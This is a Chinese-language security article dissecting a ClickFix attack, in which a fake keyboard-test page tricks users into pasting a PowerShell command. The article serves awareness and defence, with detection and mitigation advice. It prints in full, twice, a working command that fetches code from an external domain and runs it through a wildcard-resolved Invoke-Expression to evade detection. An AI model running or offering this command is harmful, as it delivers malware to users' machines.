摘要:本文以一个真实案例入手,深度拆解一种名为ClickFix的新型社会工程攻击手法——攻击者伪装成"键盘测试"网站,诱导用户在 PowerShell 中执行恶意命令。文章从命令逐字符拆解、攻击链全貌、心理学操纵手法、MITRE ATT&CK 映射、防御策略五个维度展开分析。
一、事件回顾:你只是点了一个链接
某天,你在网上浏览时点开了一个链接。页面跳转到一个看起来像"键盘测试"的网站,提示你按几个键来"验证你不是机器人"。
看起来无害,对吧?
但如果你按照页面的指示操作——你的电脑已经被感染了。
以下就是那个被诱导执行的命令(请勿执行):
powershell-c"$a=irm 'shonenpowerup.cfd/dLEFpQRqOihwX1Kgc';$p=[PowerShell]::Create();$p.AddCommand((gcm *voke-E*)).AddArgument($a)|Out-Null;$p.Invoke()"这不是什么"键盘测试",这是一次精心设计的ClickFix 攻击。
二、命令拆解:每一个字符都在犯罪
让我们逐段拆解这条命令,看清攻击者到底在做什么。
第一步:下载恶意载荷
$a=irm'shonenpowerup.cfd/dLEFpQRqOihwX1Kgc'irm是Invoke-RestMethod的别名——一个合法的 PowerShell 命令,用于发送 HTTP 请求。- 这一行的含义是:从
shonenpowerup.cfd/dLEFpQRqOihwX1Kgc下载一段内容,存入变量$a。 - 下载的内容可能是任意代码——可能是 shellcode、可能是另一个 PowerShell 脚本、也可能是加密的恶意载荷。域名
.cfd是一个廉价的通用顶级域名(常被攻击者批量注册用于 C2 服务器)。
第二步:创建一个新的 PowerShell 进程
$p=[PowerShell]::Create()- 通过 .NET 的
System.Management.Automation.PowerShell类,创建一个全新的 PowerShell 实例。 - 这个新实例与当前会话隔离,目的是绕过某些只监控父进程的安全工具。
第三步:动态解析命令(反分析关键一步)
$p.AddCommand((gcm*voke-E*))gcm是Get-Command的别名。*voke-E*是一个通配符模式,匹配到的是Invoke-Expression——PowerShell 中最危险的命令之一。- 为什么要用通配符?因为如果直接写
Invoke-Expression,很多安全工具(EDR、杀软、日志审计系统)会在命令行中直接检测到这个关键字并拦截。用通配符匹配,在静态分析中几乎无法被正则规则捕获。
第四步:执行
$p.AddArgument($a)|Out-Null$p.Invoke()- 将下载的内容(
$a)作为参数传给Invoke-Expression,然后调用执行。 Invoke-Expression会把传入的字符串当作代码直接执行——无论那是什么。
总结:完整攻击链
用户点击链接 → 网页提示操作 → 用户在终端执行命令 → PowerShell 从远程服务器下载恶意代码 → 动态解析 Invoke-Expression(绕过静态检测) → 在隔离进程中执行恶意代码 → 机器沦陷从用户的角度看:我只是"验证了一下键盘"。
从攻击者的角度看:一次完美的远程代码执行(RCE)。
三、攻击心理学:为什么你会中招?
这种攻击的高明之处不在于技术——技术其实非常简单。高明之处在于它对人类心理的精准操纵。
1. 制造"问题",同时提供"解决方案"
这是 ClickFix 攻击的核心心理学模型:
- 网站先让你看到一个"问题"(比如"请验证你不是机器人")
- 然后提供一个看似合理的"解决方案"(“请按 Win+R,粘贴以下命令”)
- 你的大脑会自动进入"解决问题"模式,而不是"我正在执行一段未知代码"模式
这就像有人告诉你"你的门锁坏了",然后递给你一把钥匙——你不会去验证这把钥匙到底开的是谁的门。
2. 伪装成权威
攻击页面通常模仿 Cloudflare、Google、微软等大厂的验证界面,利用了人们对这些品牌的默认信任。看到熟悉的蓝色按钮和验证动画,大脑会自动降低警惕。
3. 制造紧迫感
“验证超时将被限制访问”、“请在 30 秒内完成验证”——这种时间压力让人来不及思考,更来不及去验证命令的内容。
4. 混淆技术细节
那条 PowerShell 命令对普通用户来说就像天书:
irm不是Invoke-RestMethod的全称gcm *voke-E*看起来完全不像Invoke-Expression- 方括号、分号、管道符……这一切都在制造"这很专业/合法"的假象
四、技术全景:ClickFix 攻击家族
你遇到的这个案例并非孤例。ClickFix 攻击自 2023 年底开始出现,到 2024-2025 年已成为最活跃的社会工程攻击手法之一。
已知变种
| 变种 | 伪装形式 | 载荷投递方式 |
|---|---|---|
| 假 Cloudflare 验证 | “Verify you are human” | 剪贴板劫持 + Win+R |
| 假键盘测试 | “Press keys to test” | 直接诱导执行 PowerShell |
| 假文档错误 | “OneDrive 文档加载失败” | "点击修复"按钮复制命令 |
| 假 Windows 更新 | “Windows 需要更新验证” | 假 BSOD 页面 |
常见载荷
根据 Proofpoint、Seqrite、Kaspersky 等安全厂商的报告,ClickFix 攻击常投递以下恶意软件:
- Lumma Stealer:信息窃取器,窃取浏览器密码、加密货币钱包、会话 Cookie
- DarkGate:远程访问木马(RAT),支持键盘记录、屏幕截图、文件操作
- Matanbuchus:加载器,用于投递后续阶段的恶意载荷
- AutoHotkey 木马:利用 AHK 脚本语言执行恶意操作,体积小、隐蔽性强
MITRE ATT&CK 映射
| 阶段 | 技术 | ATT&CK ID |
|---|---|---|
| 初始访问 | 鱼叉式钓鱼(社会工程) | T1566 |
| 执行 | 用户主动执行 | T1204 |
| 执行 | PowerShell 命令解释器 | T1059.001 |
| 执行 | MSHTA 代理执行 | T1218.005 |
| 混淆 | 动态命令解析 | T1027 |
| 持久化 | 注册表/启动项 | T1547 |
五、防御策略:如何保护自己
个人用户
- 永远不要在终端中执行从网页获取的命令——无论它看起来多么"官方"。
- 遇到"验证"提示,直接关闭标签页。正规网站不会让你在终端里执行命令来验证身份。
- 启用 PowerShell 执行策略:
Set-ExecutionPolicy Restricted——至少让 PowerShell 在执行脚本前弹出警告。 - 安装并保持更新 EDR/杀软——现代安全工具已能检测此类攻击模式。
- 检查浏览器扩展:攻击者可能通过恶意扩展自动修改你的剪贴板内容。
企业/组织
- 网络层防护:拦截已知的恶意域名(如
.cfd顶级域名可考虑在 DNS 层直接屏蔽)。 - 终端防护:配置 AppLocker 或 WDAC 限制 PowerShell 的使用场景。
- 日志审计:监控
Invoke-Expression、Invoke-WebRequest、irm等高风险命令的调用。 - 安全意识培训:定期开展钓鱼模拟演练,让员工识别 ClickFix 类攻击。
- 剪贴板监控:部分 EDR 工具支持剪贴板内容审计,可检测恶意命令的注入。
技术检测
如果你怀疑自己已经中招,可以检查以下指标:
# 检查最近的 PowerShell 执行日志Get-WinEvent-LogName"Microsoft-Windows-PowerShell/Operational"-MaxEvents 50|Where-Object{$_.Message-match"Invoke-Expression|Invoke-WebRequest|Invoke-RestMethod"}|Format-ListTimeCreated,Message# 检查可疑的计划任务Get-ScheduledTask|Where-Object{$_.Actions.Execute-match"powershell|cmd"}|Format-TableTaskName,TaskPath,@{N="Command";E={$_.Actions.Execute+' '+$_.Actions.Arguments}}六、结语:技术无罪,人心可欺
回到开头那条命令:
powershell -c "$a=irm 'shonenpowerup.cfd/dLEFpQRqOihwX1Kgc';$p=[PowerShell]::Create();$p.AddCommand((gcm *voke-E*)).AddArgument($a)|Out-Null;$p.Invoke()"从技术角度看,它利用了:
- PowerShell 的合法功能(
Invoke-RestMethod、Get-Command) - .NET 的进程隔离机制(
PowerShell::Create) - 通配符匹配绕过静态检测(
*voke-E*) - 全内存执行不留磁盘痕迹
没有任何一步使用了什么"黑客技术"。每一个组件都是 Windows 的合法功能。攻击者只是把这些功能组合在一起,加上一层社会工程的外衣,就完成了一次致命的攻击。
这再次印证了信息安全领域的一句老话:
最脆弱的防火墙,是坐在键盘前的那个人。
我们花了大量精力构建技术防御体系,但 ClickFix 攻击提醒我们:攻击者的目标从来不是你的系统,而是你的注意力。当你按下 Win+R 的那一刻,所有的技术防线都形同虚设。
所以,下次当你在网上看到"请按 Win+R,粘贴以下命令"的时候——关掉它。
本文基于真实案例分析,所有恶意命令均已脱敏处理。文中提到的域名和载荷仅用于教育目的,请勿用于任何非法用途。
参考文献:
- Proofpoint, “Clipboard to Compromise: PowerShell Script Self-Pwn”, 2024
- Seqrite, “Fake CAPTCHA Delivers Lumma Stealer Malware”, 2024
- Krebs on Security, “This Windows PowerShell Phish Has Scary Potential”, 2024
- Doppel, “Fake CAPTCHA, Real Threat: New Campaign Uses PowerShell and AutoHotkey”, 2025
- MITRE ATT&CK, Enterprise Techniques